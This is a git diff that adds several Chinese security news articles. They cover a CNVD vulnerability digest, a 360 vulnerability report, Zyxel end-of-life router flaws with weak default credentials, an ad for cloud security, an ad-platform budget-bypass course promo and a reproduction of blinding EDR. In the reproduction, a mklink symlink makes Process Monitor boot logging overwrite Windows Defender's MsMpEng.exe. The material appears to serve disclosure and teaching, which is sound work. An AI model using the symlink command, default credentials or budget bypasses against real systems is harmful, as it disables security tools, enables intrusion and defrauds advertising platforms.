+ +参考链接： + +https://www.cnvd.org.cn/flaw/show/CNVD-2025-01410 + +**2、畅捷通信息技术股份有限公司畅捷通T+存在目录遍历漏洞****** + +畅捷通T+是一款灵动、智慧、时尚的互联网管理软件，主要针对中小型工贸和商贸企业的财务业务一体化应用，融入了社交化、移动化、物联网、电子商务、互联网信息订阅等元素。 + +畅捷通信息技术股份有限公司畅捷通T+存在目录遍历漏洞，攻击者可利用该漏洞获取敏感信息。 + +参考链接： + +https://www.cnvd.org.cn/flaw/show/CNVD-2025-01411 + +**3、Huawei Myna输入验证错误漏洞****** + +Huawei Myna是中国华为（Huawei）公司的一款智能音箱。 + +Huawei Myna存在输入验证错误漏洞，该漏洞源于某模块在某种场景下没有对输入进行充分完整性校验。攻击者可利用该漏洞影响设备的正常服务。 + +参考链接： + +https://www.cnvd.org.cn/flaw/show/CNVD-2025-02557 + +**4、WAVLINK AC3000 internet.cgi set_add_routing函数缓冲区溢出漏洞****** + +WAVLINK AC3000是中国睿因（WAVLINK）公司的一个无线路由器。 + +WAVLINK AC3000 M33A8.V5030.210505版本存在缓冲区溢出漏洞，该漏洞源于internet.cgi set_add_routing函数未能正确验证输入数据的长度大小，远程攻击者可利用该漏洞在系统上执行任意代码或者导致拒绝服务攻击。 + +参考链接： + +https://www.cnvd.org.cn/flaw/show/CNVD-2025-02540 + +**5、D-Link DIR-816A2 formDMZ.cgi组件访问控制错误漏洞****** + +D-Link DIR-816A2是中国友讯（D-Link）公司的一款路由器。 + +D-Link DIR-816A2存在访问控制错误漏洞，该漏洞源于formDMZ.cgi组件的访问控制不当，攻击者可利用该漏洞通过特制POST请求设置DMZ服务。 + +参考链接： + +https://www.cnvd.org.cn/flaw/show/CNVD-2025-02531 + + +说明：关注度分析由CNVD根据互联网用户对CNVD漏洞信息查阅情况以及产品应用广泛情况综合评定。 + + diff --git a/doc/全年披露40000+漏洞，《2024年度网络安全漏洞分析报告》解码漏洞风险.md b/doc/全年披露40000+漏洞，《2024年度网络安全漏洞分析报告》解码漏洞风险.md new file mode 100644 index 00000000..88f8f516 --- /dev/null +++ b/doc/全年披露40000+漏洞，《2024年度网络安全漏洞分析报告》解码漏洞风险.md @@ -0,0 +1,177 @@ +# 全年披露40000+漏洞，《2024年度网络安全漏洞分析报告》解码漏洞风险 + 360数字安全 2025-02-10 10:04 + +**** + +News Today + + +随着信息技术的广泛应用，网络攻击的手段和技术层面越来越复杂，挑战企业和个人的安全防线的同时，也对社会的安全管理和意识提出了更高的要求。漏洞是网络防御的基础，深入了解漏洞本质、追踪其演变态势并采取相应防御措施，成为保障网络安全的关键所在。 + + +近日，**360数字安全集团重磅发布《2024年度网络安全漏洞分析报告》**（以下简称《报告》），综合分析2024年内爆发的漏洞整体态势，解析不同行业漏洞分布差异成因，剖析多起典型案例技术细节，并拓展了一系列影响深远的全球网络安全事件，以期为企业、机构及专业人士提供有价值的洞察，更好地构建安全防线。 + + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/pLEuriaaPnU2jRzv7nYQnOr3fibqSp2aYQrqwdecGNAKafiaZoQHiahVsWm5NNnibmWYxHNG2OpHngbrYibdiaDdjS1Aw/640?wx_fmt=jpeg&from=appmsg "") + + + +![](https://mmbiz.qpic.cn/sz_mmbiz_gif/pLEuriaaPnU2jRzv7nYQnOr3fibqSp2aYQMKKYSB9OiaD4Clju16Z2ZnShBsXnhEuo8DnzQx6zHTnXMynSnjB6R1w/640?wx_fmt=gif&from=appmsg "") + + + +✦ + +✦ + +**年度漏洞数量激增** + +**安全态势日益严峻** + +✦ + + +**《报告》显示，2024年全球漏洞总数达到44,957个，相较于2023年增长超过50%，创下历史新高。**这一趋势反映了软件开发和使用的复杂性在不断增加，漏洞的发现和披露周期也在缩短，全球企业在漏洞披露、修复的过程中，面临着更大的压力和挑战。2024年，高危和严重漏洞的占比超过50%，这些漏洞对系统的安全性构成了直接威胁，因此企业必须优先采取措施，确保系统的安全性得到及时保障。 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/pLEuriaaPnU2jRzv7nYQnOr3fibqSp2aYQRxYCcgaEo5F5Lyey5V661UpNpHTuy6yibKr5OOwcwWZwXStnmdI0Www/640?wx_fmt=png&from=appmsg "") + + +2024年，**360漏洞情报团队基于安全大模型，结合使用广度、行业关注度、客户关注度、漏洞攻击复杂度和补丁发布情况等多维度指标对全年披露的漏洞进行综合研判分析****，发布了超800条需要用户重点关注的漏洞情报，**其中600条易被利用，300余条为需要尽快修复的高危漏洞，有效帮助企业、机构和相关从业者进行针对性安全防护。 + + + +![](https://mmbiz.qpic.cn/sz_mmbiz_gif/pLEuriaaPnU2jRzv7nYQnOr3fibqSp2aYQMKKYSB9OiaD4Clju16Z2ZnShBsXnhEuo8DnzQx6zHTnXMynSnjB6R1w/640?wx_fmt=gif&from=appmsg "") + + + +✦ + +✦ + +**实战暴露常见技术缺陷** + +**经典漏洞持续构成隐患** + +✦ + + +**《报告》指出，跨站点脚本攻击（XSS）和SQL注入仍然是最常见的漏洞类型**，分别占据了漏洞数量的前两位。尽管近年来安全措施不断加强，但这些经典漏洞仍然频繁出现在网络安全事件中，表明很多系统在基本的安全设计和开发实践中依然存在隐患。 + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/pLEuriaaPnU2jRzv7nYQnOr3fibqSp2aYQ6M12f3klztLmrXIM5icYxlJVpKsmyicKK3jmWeIIMSWO26Bib3EPEexYQ/640?wx_fmt=png&from=appmsg "") + + +XSS攻击通过注入恶意脚本代码，导致用户信息泄露、账户被篡改等严重后果； + + +而SQL注入则通过对数据库查询语句进行恶意修改，进而获取敏感数据或控制整个系统。 + + +针对这些高频漏洞类型，企业必须加强对开发者的安全培训，确保在软件开发的各个阶段遵循安全编程最佳实践。特别是加强输入验证、输出编码、以及存储过程的使用，以有效防止SQL注入和XSS漏洞的产生。 + + +《报告》还提到，权限管理不当和访问控制不当也是漏洞高发的常见原因。这类漏洞表明许多企业在开发过程中忽视了安全设计的基础工作，未能对用户权限进行合理的限制和控制。为避免此类漏洞，企业应严格遵守最小权限原则，对系统的用户权限进行精细化管理，并通过定期的权限审计和访问控制措施，确保每个用户只拥有其业务所需的权限。 + + + +![](https://mmbiz.qpic.cn/sz_mmbiz_gif/pLEuriaaPnU2jRzv7nYQnOr3fibqSp2aYQMKKYSB9OiaD4Clju16Z2ZnShBsXnhEuo8DnzQx6zHTnXMynSnjB6R1w/640?wx_fmt=gif&from=appmsg "") + + + +✦ + +✦ + +**OA系统漏洞仍是攻防演练杀器** + +**精准预警才能力挽狂澜** + +✦ + + +2024年攻防演练期间，**360累计捕获80,702条攻击样本，通过360漏洞云情报订阅服务平台发布漏洞预警180余条，其中超98%为高危及严重级别漏洞**，帮助广大企业精准定位关键风险并前置修复，结合主动防御策略，有效降低80%以上的攻击威胁。 + + +数据显示，办公自动化系统（OA）成为攻击重灾区，ERP等核心业务系统紧随其后。由此可见，攻击者往往更倾向于针对企业日常运营中涉及广泛、数据密集的业务系统发起攻击。 + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/pLEuriaaPnU2jRzv7nYQnOr3fibqSp2aYQG13K2jZOZpicX3SQ99ib2Hcv5cy2Ge7DHF3ZFKNOdSTZocOicwtj28N2Q/640?wx_fmt=png&from=appmsg "") + + +360漏洞情报服务从海量攻击样本中实现精准漏洞预警，通过对漏洞数据进行多维度剖析，不仅能识别漏洞的潜在利用方式，还能够深入洞察攻击者的攻击链和行为模式，预测并识别出潜在的高危漏洞，及时发布针对性的预警，为企业提供最具针对性和实效性的修复建议，确保了企业在面临复杂攻击时能够做出快速反应，有效防止攻击威胁蔓延，大大降低了安全风险。 + + + +![](https://mmbiz.qpic.cn/sz_mmbiz_gif/pLEuriaaPnU2jRzv7nYQnOr3fibqSp2aYQMKKYSB9OiaD4Clju16Z2ZnShBsXnhEuo8DnzQx6zHTnXMynSnjB6R1w/640?wx_fmt=gif&from=appmsg "") + + + +✦ + +✦ + +**漏洞行业化差异明显** + +**360独家分类标准精细化情报颗粒度** + +✦ + + +《报告》对不同领域的漏洞分布情况进行了详细分析，显示出行业间存在明显的安全差异。从整体分布来看，通用行业漏洞占比接近90%，这表明跨行业的通用软件和平台是企业安全防护的主要薄弱点。 + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/pLEuriaaPnU2jRzv7nYQnOr3fibqSp2aYQib4Dox21TYjrFd5Z25hTfxHpUF87JAJ1cZicvStD4L60OskxP27Gnajg/640?wx_fmt=png&from=appmsg "") + + +**而教育、金融和医疗等关键行业，也暴露出大量安全隐患**：教育行业报告的漏洞数量位居第二，达到869个，这凸显了数字化教学环境中的安全问题；批发和零售业则报告了696个漏洞，强调了在线交易平台需要更加稳固的安全保障；此外，金融业与医疗行业分别报告了585和333个漏洞，进一步显示出保护金融数据和患者信息的紧迫性。 + + +360漏洞情报团队沉淀多年攻防演练实战经验，根据不同的攻防场景和漏洞利用特征，制定了针对攻防场景下的独家行业分类标准，对所有漏洞数据进行了行业标注，实现对全量漏洞数据的标准化分析，进而帮助企业深入了解各行业的漏洞分布特点，实现全量漏洞数据的高效管理与精准识别。 + + +对于企业而言，借助360漏洞情报平台，可以聚焦本行业及通用行业的漏洞信息，快速筛选出关键风险点，从而显著提升漏洞情报的响应效率和处置精准度。通过这一系统化、智能化的漏洞情报服务，360在为企业提供个性化安全防护方案的同时，也帮助企业在复杂的网络安全环境中建立起更加可靠的防线。 + + + +![](https://mmbiz.qpic.cn/sz_mmbiz_gif/pLEuriaaPnU2jRzv7nYQnOr3fibqSp2aYQMKKYSB9OiaD4Clju16Z2ZnShBsXnhEuo8DnzQx6zHTnXMynSnjB6R1w/640?wx_fmt=gif&from=appmsg "") + + + +✦ + +✦ + +**供应链安全隐患显现** + +**AI与新兴技术治理成重点** + +✦ + + +**《报告》显示，2024年内软件供应链相关漏洞频现**，如Red Hat与CISA发现的供应链漏洞、CocoaPods依赖管理器的多个安全缺陷等；此外，黎巴嫩大量BP机和寻呼机被远程引爆，造成数千人受伤，背后直指供应链攻击，供应链安全风险管理成为重要挑战。加强对供应链的全面审计和监控是防范此类攻击的必要手段。 + + +同时，人工智能技术发展迅速，也带来诸多风险挑战，2024年，360曝光了近40个大模型相关安全漏洞，影响范围覆盖llama.cpp、Dify等知名模型服务框架，以及Intel等国际厂商开发的多款开源产品，敲响人工智能安全警钟。 + + +此外，人工智能相关法律法规持续出台，联合国通过人工智能全球决议、欧盟的《人工智能法案》以及中国《人工智能生成合成内容标识办法（征求意见稿）》的发布，体现了全球各国对AI技术潜在风险的高度关注。**不难看出，AI与新兴技术的治理将成为各界关注的焦点。** + + + +![](https://mmbiz.qpic.cn/sz_mmbiz_gif/pLEuriaaPnU2jRzv7nYQnOr3fibqSp2aYQMKKYSB9OiaD4Clju16Z2ZnShBsXnhEuo8DnzQx6zHTnXMynSnjB6R1w/640?wx_fmt=gif&from=appmsg "") + + + +面对复杂且不断变化的漏洞威胁，360作为国内唯一兼具数字安全和人工智能能力的公司，充分利用安全大模型对漏洞治理关键能力进行智能化升级，形成了覆盖漏洞治理生命周期各阶段的安全技术及服务能力，可面向不同行业及业务方向的漏洞服务平台，提供优质的漏洞情报订阅服务、可控的安全众测/众包服务、及时的漏洞应急响应服务、高效的漏洞补丁推送服务，以及专业的漏洞安全专家服务。 + + +如需查看完整报告请点击**【阅读原文】** + +如需咨询相关服务请联系 + +400-0309-360 + +往期推荐 + +

01

● 周鸿祎：360安全大模型将向“一带一路”友邻国家开放共享

► 点击阅读

02

● 360年度勒索软件报告请查收：AI“催生”天价赎金危机

► 点击阅读

03

● 滴！您有一封来自360安全大模型的年度报告待查收

► 点击阅读

04

● 独家揭秘 | 仿冒网站超3000！DeepSeek爆火背后的暗流涌动

► 点击阅读

+ diff --git a/doc/合勤不打算修复已达生命周期路由器中的已遭利用漏洞.md b/doc/合勤不打算修复已达生命周期路由器中的已遭利用漏洞.md new file mode 100644 index 00000000..a9536e85 --- /dev/null +++ b/doc/合勤不打算修复已达生命周期路由器中的已遭利用漏洞.md @@ -0,0 +1,116 @@ +# 合勤不打算修复已达生命周期路由器中的已遭利用漏洞 +Bill Toulas 代码卫士 2025-02-10 10:30 + +![](https://mmbiz.qpic.cn/mmbiz_gif/Az5ZsrEic9ot90z9etZLlU7OTaPOdibteeibJMMmbwc29aJlDOmUicibIRoLdcuEQjtHQ2qjVtZBt0M5eVbYoQzlHiaw/640?wx_fmt=gif "") + +  +聚焦源代码安全，网罗国内外最新资讯！ + +**编译：代码卫士** + +**** +**合勤公司发布了关于CPE系列设备中已遭活跃利用漏洞的安全通告称，没有补丁发布计划，督促用户使用受支持的型号。** + + + + + +![](https://mmbiz.qpic.cn/mmbiz_gif/oBANLWYScMSWibWAtgdmXrjj5j2kEknv1Z2zibOSnkj9yKCicco1MTdzoHHoH2MmvgZy7lnbX0VMsia76lsCW34Mjg/640?wx_fmt=gif&from=appmsg "") + + +VulnCheck 在2024年7月发现了这两个漏洞，不过GreyNoise 表示上周发现漏洞遭在野利用的迹象。 + +网络扫描引擎 FOFA 和 Censys 扫描结果显示，超过1500台合勤 CPE 系列设备暴露在互联网，因此攻击面庞大。VulnCheck 今天披露了这两个漏洞的详情，它们的目的是获得对网络的初始访问权限。 + +- CVE-2024-40891：经过身份验证的用户可利用因 libcms_cli.so 中的命令验证不当导致的 Telnet 命令注入漏洞。某些命令（如 ifconfig、ping、tftp）在未经检查的情况下被传递给shell 执行函数，导致利用 shell 元字符的任意命令执行后果。 + +- CVE-2025-0890：设备使用很多用户都不会修改的弱默认凭据 (admin:1234, zyuser:1234, supervisor:zyad1234)。该监督账户具有隐藏权限，授予完整的系统访问权限，而zyuser可利用CVE-2024-40891实现远程代码执行。 + + + +VulnCheck 披露了完整的利用详情，演示了针对运行固件版本 1.00 （AARF.4）Co_20170615的VMG4325-B10A的PoC。研究人员提醒称，虽然这些设备多年来已经不再受支持，但仍然分布于全球各大网络中。VulnCheck 提到，“虽然这些系统更为老旧且似乎长期不受支持，但因为仍在全球范围内使用且攻击者仍在持续关注，因此仍然具有较高价值。攻击者仍在活跃利用这些路由器表明我们仍需注意，因为理解现实攻击对于有效的安全研究而言至关重要。” + + +**合勤建议替换设备** + + +![](https://mmbiz.qpic.cn/mmbiz_gif/oBANLWYScMSWibWAtgdmXrjj5j2kEknv1FxKS57o7mUkwkZpjial3Ua4zywL1lNclcsKic7tSVWhcuNLm2xGrgU7g/640?wx_fmt=gif&from=appmsg "") + + + +合勤最新的安全公告证实，VulnCheck 发现的这些漏洞影响多款已达生命周期的产品。该厂商提到，受影响的设备早在多年前就已达生命周期，表明已通过新一代设备取而代之。 + +合勤在安全公告中提到，“我们已经确认VulnCheck 报送的受影响机型：VMG1312-B10A、VMG1312-B10B、VMG1312-B10E、VMG3312-B10A、VMG3313-B10A、VMG3926-B10B、VMG4325-B10A、VMG4380-B10A、VMG8324-B10A、VMG8924-B10A、SBG3300 和 SBG3500，是已达生命周期多年的遗留产品。因此，我们强烈建议用户用新一代产品替换，获得更好的防护。” + +合勤还在公告中提到了另外一个漏洞CVE-2024-40890，它是类似于CVE-2024-40891的认证后命令注入漏洞。 + +耐人寻味的是，合勤声称尽管已在去年7月开始就要求VulnCheck分享详情报告，但后者从未这么做，而是在未通知的情况下发布了 write-up。 + + +**** +代码卫士试用地址： +https://codesafe.qianxin.com + +开源卫士试用地址：https://oss.qianxin.com + + + + + + + + + + + + + +**推荐阅读** + +[合勤提醒注意路由器中的严重OS命令注入漏洞](https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247520668&idx=2&sn=a47864fc0328391d921ce4629b3bac8b&scene=21#wechat_redirect) + + +[合勤紧急修复NAS设备中的RCE漏洞](https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247519665&idx=1&sn=16f68838d4899ea09b8df2f5f96357ab&scene=21#wechat_redirect) + + +[合勤科技修复防火墙产品中的远程代码执行漏洞](https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247518947&idx=2&sn=8758a5f5ef83a075fb61fbed63159da1&scene=21#wechat_redirect) + + +[合勤科技修复NAS 设备中的高危漏洞](https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247516649&idx=2&sn=8568497e673e6061401b953a0bb37e2d&scene=21#wechat_redirect) + + + + + +**原文链接** + +https://www.bleepingcomputer.com/news/security/zyxel-wont-patch-newly-exploited-flaws-in-end-of-life-routers/ + + +题图： +Pexels  +License + +**** +**本文由奇安信编译，不代表奇安信观点。转载请注明“转自奇安信代码卫士 https://codesafe.qianxin.com”。** + + + + +![](https://mmbiz.qpic.cn/mmbiz_jpg/oBANLWYScMSf7nNLWrJL6dkJp7RB8Kl4zxU9ibnQjuvo4VoZ5ic9Q91K3WshWzqEybcroVEOQpgYfx1uYgwJhlFQ/640?wx_fmt=jpeg "") + +![](https://mmbiz.qpic.cn/mmbiz_jpg/oBANLWYScMSN5sfviaCuvYQccJZlrr64sRlvcbdWjDic9mPQ8mBBFDCKP6VibiaNE1kDVuoIOiaIVRoTjSsSftGC8gw/640?wx_fmt=jpeg "") + +**奇安信代码卫士 (codesafe)** + +国内首个专注于软件开发安全的产品线。 + +   ![](https://mmbiz.qpic.cn/mmbiz_gif/oBANLWYScMQ5iciaeKS21icDIWSVd0M9zEhicFK0rbCJOrgpc09iaH6nvqvsIdckDfxH2K4tu9CvPJgSf7XhGHJwVyQ/640?wx_fmt=gif "") + +  +觉得不错，就点个 “ +在看 +” 或 " +赞 +” 吧~ + diff --git a/doc/数字世界危机四伏，谁是云上安全的“齐天大圣”？.md b/doc/数字世界危机四伏，谁是云上安全的“齐天大圣”？.md new file mode 100644 index 00000000..d433cce8 --- /dev/null +++ b/doc/数字世界危机四伏，谁是云上安全的“齐天大圣”？.md @@ -0,0 +1,54 @@ +# 数字世界危机四伏，谁是云上安全的“齐天大圣”？ +你信任的 亚信安全 2025-02-10 09:25 + +**云上威胁不断升级** + +**生死时速下的守护之战一触即发** + +**企业该如何面对？** + + +欢迎 +观看 + +亚信安全AI创意短片 + +洞悉云安全威胁破解之道 + + +![](https://mmbiz.qpic.cn/mmbiz_gif/V40ffweoI5hCGIjb9Z9CUoRca5lhKS7KicTOPKHR6h440wOjLlvrP4MqnLNv2XKA3ycgDShBzvgpG2ddXeb5xqA/640?wx_fmt=gif "") + + + + +**亚信安全云主机安全DeepSecurity** + +**** +闪电般部署   升级不焦虑 + +检测更实时   拦截更快速 + +跨平台管理   运维更高效 + +虚实补丁结合 修复零延时 + + +深耕云安全16载 + +累计15万小时防护 + +成功部署1000万台服务器 + +超2000万用户的云安全之选 + + +亚信安全DeepSecurity + +中国云主机安全领导者 + + + + +了解亚信安全，请点击 +**“阅读原文”** + diff --git a/doc/月神漏洞实战分享| 推广系统的“隐秘高危漏洞”.md b/doc/月神漏洞实战分享| 推广系统的“隐秘高危漏洞”.md new file mode 100644 index 00000000..306cf1bc --- /dev/null +++ b/doc/月神漏洞实战分享| 推广系统的“隐秘高危漏洞”.md @@ -0,0 +1,129 @@ +# 月神漏洞实战分享| 推广系统的“隐秘高危漏洞” + FreeBuf知识大陆APP 2025-02-10 10:08 + +推广漏洞非常常见，不管是抖音、快手推广个人的作品，或者是百度、携程等商家的竞价推广，推广的流程都是统一的。在这个时代，流量=金钱，所以但凡发现一个推广漏洞，都是高危起步。 + + +但是推广漏洞国内没有白帽子在研究，就连黑产其实也没有涉猎过多这方面（很多黑产来找我搞推广都被我拒绝了，也希望大家不要因为一时贪心误入歧途）。因为推广系统的复杂性往往藏在业务链路深处——从预算校验、竞价逻辑到扣费规则，任何一环的设计疏漏都可能成为黑产的“提款机”，而多数白帽子甚至企业的安全和业务都对此缺乏系统认知。 + + +今天，我将公开3个典型的推广漏洞原理与防御思路。技术细节或许晦涩，我用我平时上课的方式深入浅出地给大家进行讲解，希望你能从中看到漏洞挖掘的另一种视角。 + + +要是还有不明白的地方，欢迎加入我的交流群，一起探讨交流。 + + +![](https://mmbiz.qpic.cn/mmbiz_jpg/HaJr68L1tTRGtPb3smP20FgfsagDwf9OIa3enYpqJJt7OK07iccAnaZSYurvU82lIJ0lB7m0RaoO11ZODsq3Cog/640?wx_fmt=jpeg&from=appmsg "") + +**日预算** + + + +**什么是“日预算”** + +用户开启推广后，系统会检查我们的账户余额是否足够，如果我们的余额足够，那么就进入到下一个流程，检查我们的日预算是否到顶。 + + +那什么是日预算？ + + +日预算就是我们设置的每日最高投流预算，当日到达这个预算后，就会停止计费。处理日预算的方式在全世界分为2种，第一种是到达日预算后，停止推广但是会持续扣费，这就导致了如果我的推广效果好的话，可能我日预算是100元，他结束推广后还会持续扣我1000元，这就大大的降低了用户的产品体验。第二种是国内大多数厂商选择的方式，到达日预算后停止扣费，不会超过日预算。针对这种方式，接下来就在此延展3种漏洞及绕过方式。 + + + +**0.01元日预算的“降维打击”** + +![](https://mmbiz.qpic.cn/mmbiz_png/HaJr68L1tTRGtPb3smP20FgfsagDwf9OTq7zFemQ0kOXJChP9ub9QHMDHxx0uA6hVvQfVSCMKUFBmTokeGqzGQ/640?wx_fmt=png&from=appmsg "") + +推广实操截图 + + +第一种，我们可以直接将日预算改为0.01元，单次点击价格为99元（注意接下来所有绕过方式的单次点击价格都为99元），那么系统实际扣费会被限制在0.01元，但广告排名仍按99元竞价计算。这样即保证了排名第一又保证了只能扣费1分钱，黑产可利用此漏洞零成本霸占头部广告位，企业损失曝光与信誉，平台计费系统形同虚设。提交漏洞的修复建议当然是建议后端对日预算做校验最少为100元。 + + + +**时间窗口的“30秒漏洞”** + +![](https://mmbiz.qpic.cn/mmbiz_png/HaJr68L1tTRGtPb3smP20FgfsagDwf9OUyaksvuk9JPXTstUCib3QNPBnXxNiaSecibbMMbib9WCngIgibWZMXodnxQ/640?wx_fmt=png&from=appmsg "") + +![](https://mmbiz.qpic.cn/mmbiz_png/HaJr68L1tTRGtPb3smP20FgfsagDwf9OxPykaYth1Jg8YiaKOHQvQnoyYIoY43z4z4HQcXQiaibT2vSISaE8F0gWw/640?wx_fmt=png&from=appmsg "") + +推广实操截图 + + +那么当他修复后，我们就可以提交第二种绕过方式了，当日预算达到100元后我们把日预算改为200元，推广就又开始了，我们可以大概计算一下扣费时间，比如是30秒，那么30秒后我就把推广改回100元。意思是，日预算触顶后，短暂调高预算（如100→200元），30秒内产生的点击量因系统延迟未被计入扣费，那这期间产生的流量就又白嫖了。这会导致黑产可周期性“脉冲式”修改预算，以极低成本刷取高价值流量。接下来的修复建议是后端校验每次修改日预算时，不可以将这个数值改小，只能比当前的数值大。 + + + +**1分钱“无限续杯”的逻辑缺陷** + +修复后，我们就来到了第三种绕过方式，我们还是将推广打满，来到了日预算100元的状态了，这时我们将日预算改为100.01。预算耗尽后，每次仅增加0.01元（如100→100.01元），系统误判为新预算周期，重启扣费流程。产生点击后，只能扣除1分钱，这就又和第一种方式一样了，一分一分往上增加即可。 + + +提交漏洞时一定要按照这个步骤来提交，这样就成功的在同一个接口上完成了3次漏洞提交，而且都是高危起步。你们有没有发现其实开发被我们牵着鼻子走了，看似在帮助他们提供修复建议，实际上是给开发挖了个坑跳，而这个坑只有我们能够看的出来，为什么连审核也没有发掘这里面是坑？可能大多数人过度聚焦支付、注入等传统漏洞，忽视业务链路中的“软逻辑”风险，所以你掌握了这些逻辑，你就多了更多的机会。 + + +**关于课程** + + + +**技术深度与实战价值的平衡** + +其实我的课程就是这样，不仅要给你们讲特殊漏洞，还要给你们讲为什么会出现这个漏洞？我们一定要学会举一反三，而不仅仅是“漏洞复现手册”。 + + +关于SRC漏洞挖掘可能有些同学不是很了解，SRC有非常多的业务，那些老业务、老测试方式已经越来越卷了，而我这次的课程将带大家往手游安全方面拓展，并且针对老业务带领大家去测试一些新接口，从app、web、游戏，多个角度讲解漏洞，学会多种业务的漏洞挖掘。通过“漏洞推演-绕过设计-防御升级”的三段式教学，培养独立挖掘复杂逻辑漏洞的能力。 + + +我始终相信，安全的核心是共识而非对抗。 + + +希望通过这门课程，能让更多开发者理解“漏洞为何发生”，让更多防御者学会“比攻击者多想一步”。 + + +![](https://mmbiz.qpic.cn/mmbiz_jpg/HaJr68L1tTRGtPb3smP20FgfsagDwf9OYPEdyDEHIicBCCicFIhuOrVsfTh5Bjhu2oobvF8KbELHjiaLQYL6F1ib7Q/640?wx_fmt=jpeg&from=appmsg "") + +![](https://mmbiz.qpic.cn/mmbiz_jpg/HaJr68L1tTRGtPb3smP20FgfsagDwf9Oy9YZzPkWgdgY5kiaFVsPbWkG06tZYD4Zp7ibJK1tYUibQmKEuajrsLg6w/640?wx_fmt=jpeg&from=appmsg "") + +![](https://mmbiz.qpic.cn/mmbiz_jpg/HaJr68L1tTRGtPb3smP20FgfsagDwf9ORibj1XuqJ84hH9NEPqj7q1BW4wqOKeRfwkUuUrNsGyOA4Ohqg6KcIuw/640?wx_fmt=jpeg&from=appmsg "") + +![](https://mmbiz.qpic.cn/mmbiz_jpg/HaJr68L1tTRGtPb3smP20FgfsagDwf9OMibNpsKCCnbonqZaUcLh9gUm8CSOUJ8ibGd0RBicuiajCq0U47ImTRRiaMQ/640?wx_fmt=jpeg&from=appmsg "") + +![](https://mmbiz.qpic.cn/mmbiz_jpg/HaJr68L1tTRGtPb3smP20FgfsagDwf9OIl0sryGV0cDMswc8GMHdAwJ3sgx2G7GBRlhgBAic7hwNyjFbfruO19Q/640?wx_fmt=jpeg&from=appmsg "") + +学员好评截图 + + +![](https://mmbiz.qpic.cn/mmbiz_png/HaJr68L1tTRGtPb3smP20FgfsagDwf9OHfIwCZrOPBHOZRrBeJVyZBIrNuGXenJxlft9S59KtLiak8BB92f4a3Q/640?wx_fmt=png&from=appmsg "") + +**课程福利** + +![](https://mmbiz.qpic.cn/mmbiz_png/HaJr68L1tTRGtPb3smP20FgfsagDwf9OHfIwCZrOPBHOZRrBeJVyZBIrNuGXenJxlft9S59KtLiak8BB92f4a3Q/640?wx_fmt=png&from=appmsg "") + + + + + +**学习福利 | 三人拼团享专属优惠** + + +为鼓励技术交流，FrrrBuf推出开年福利，**3人**拼团价**7288**元（原价7888元），**仅限前50组**。 + + +加椰子进我的交流群，和我一起探讨交流吧。 + +![](https://mmbiz.qpic.cn/mmbiz_jpg/HaJr68L1tTRGtPb3smP20FgfsagDwf9O6660RSiczY8Aa15mGdFWVEJ609vaXvUPufWkY5xFqficlYaoqjX1icSGw/640?wx_fmt=jpeg&from=appmsg "") + + +如果你也厌倦了零散的知识碎片，想系统攻克业务逻辑漏洞—— + +![](https://mmbiz.qpic.cn/mmbiz_png/HaJr68L1tTRGtPb3smP20FgfsagDwf9OZEgnSHfsLmLHbHwkpAPIIE7ub2wM3AcDmCuEOw2b44903FAjib3XL5A/640?wx_fmt=png&from=appmsg "") + +![](https://mmbiz.qpic.cn/mmbiz_png/HaJr68L1tTRGtPb3smP20FgfsagDwf9O7w19z2CiaWfxYDKxoMlswSGSuwdbW12WmNuepz21CsnsTjADvaeyCGQ/640?wx_fmt=png&from=appmsg "") + +![](https://mmbiz.qpic.cn/mmbiz_png/HaJr68L1tTRGtPb3smP20FgfsagDwf9OANNLGibUiaODK27YPPUS9JbSnvaibvxO1NLibEicbwSUuCzlhicSlcBib6Xmg/640?wx_fmt=png&from=appmsg "") + +![](https://mmbiz.qpic.cn/mmbiz_png/HaJr68L1tTRGtPb3smP20FgfsagDwf9OIu1kSLUM3EGVib374hKyEBrrxjtfzjKRowfcsx8kXoC7mTRpiafibkmew/640?wx_fmt=png&from=appmsg "") + + + diff --git a/doc/通过符号链接致盲EDR复现.md b/doc/通过符号链接致盲EDR复现.md new file mode 100644 index 00000000..f4035c02 --- /dev/null +++ b/doc/通过符号链接致盲EDR复现.md @@ -0,0 +1,92 @@ +# 通过符号链接致盲EDR复现 +relaysec Relay学安全 2025-02-10 08:24 + +创建起因是看到了 +Ots安全 +公众号发布了一篇BYOVD 更上一层楼。使用 Windows 符号链接进行盲 EDR。 + +大概看了一下内容，找了一下原文，是一个老外写的。 +``` +https://www.zerosalarium.com/2025/01/byovd%20next%20level%20blind%20EDR%20windows%20symbolic%20link.html +``` + +大致的看了一下，对其进行了复现。 + +本质上是通过创建符号链接来致盲EDR的一个操作。 + +假设有一个驱动程序需要将文件写入到 +C:\Temp\log.txt +文件中，但是攻击者在 +C:\Temp\log.txt +位置创建了一个符号链接。使它指向了 +C:\Windows\System32\important_file.dll +。当程序试图写入到 +important_file.dll +文件时，实际上它写入到了 +C:\Temp\log.txt +。 + +如下创建的符号链接： + +其实就是说假设驱动程序启动时会去往 +C:\Temp\log.txt +写文件，那么正好我们创建了一个符号链接，当它往这个 +log.txt +文件中写入内容时，其实实际上写到了 +important_file.dll +文件中。 +``` +mklink "C:\Temp\log.txt" "C:\Windows\System32\important_file.dll" +``` + +其实也就是说该文章作者拿到了一个驱动程序，该驱动程序有着写入文件的功能。 + +该驱动程序会将日志写入到 +c:\windows\procmon.pmb +文件中。而如果对其通过符号链接到EDR的可执行文件中的话。那么当文件写入到 +c:\windows\procmon.pmb +文件中时，实际上其实写入的是EDR可执行程序。这样就导致了致盲。 + +利用如下: + +首先需要去安装promon64.exe。 + +打开之后->Options->Enable Boot Logging。这样就可以开启日志记录功能了。 + +![](https://mmbiz.qpic.cn/mmbiz_png/ia1z64qxm2moczibsLvPS3lQ9hRHy35BsMID6icHYzBic3m1MH39JrK7CyslwzDDkue5Zic5bVnAGrSntKmuGqQibzgg/640?wx_fmt=png&from=appmsg "") + +然后退出该程序，紧接着就可以符号链接了。 +``` +mklink C:\Windows\ProcMon.pmb "C:\Program Files\Windows Defender\MsMpEng.exe" +``` + +创建成功之后重新启动操作系统即可致盲。 + 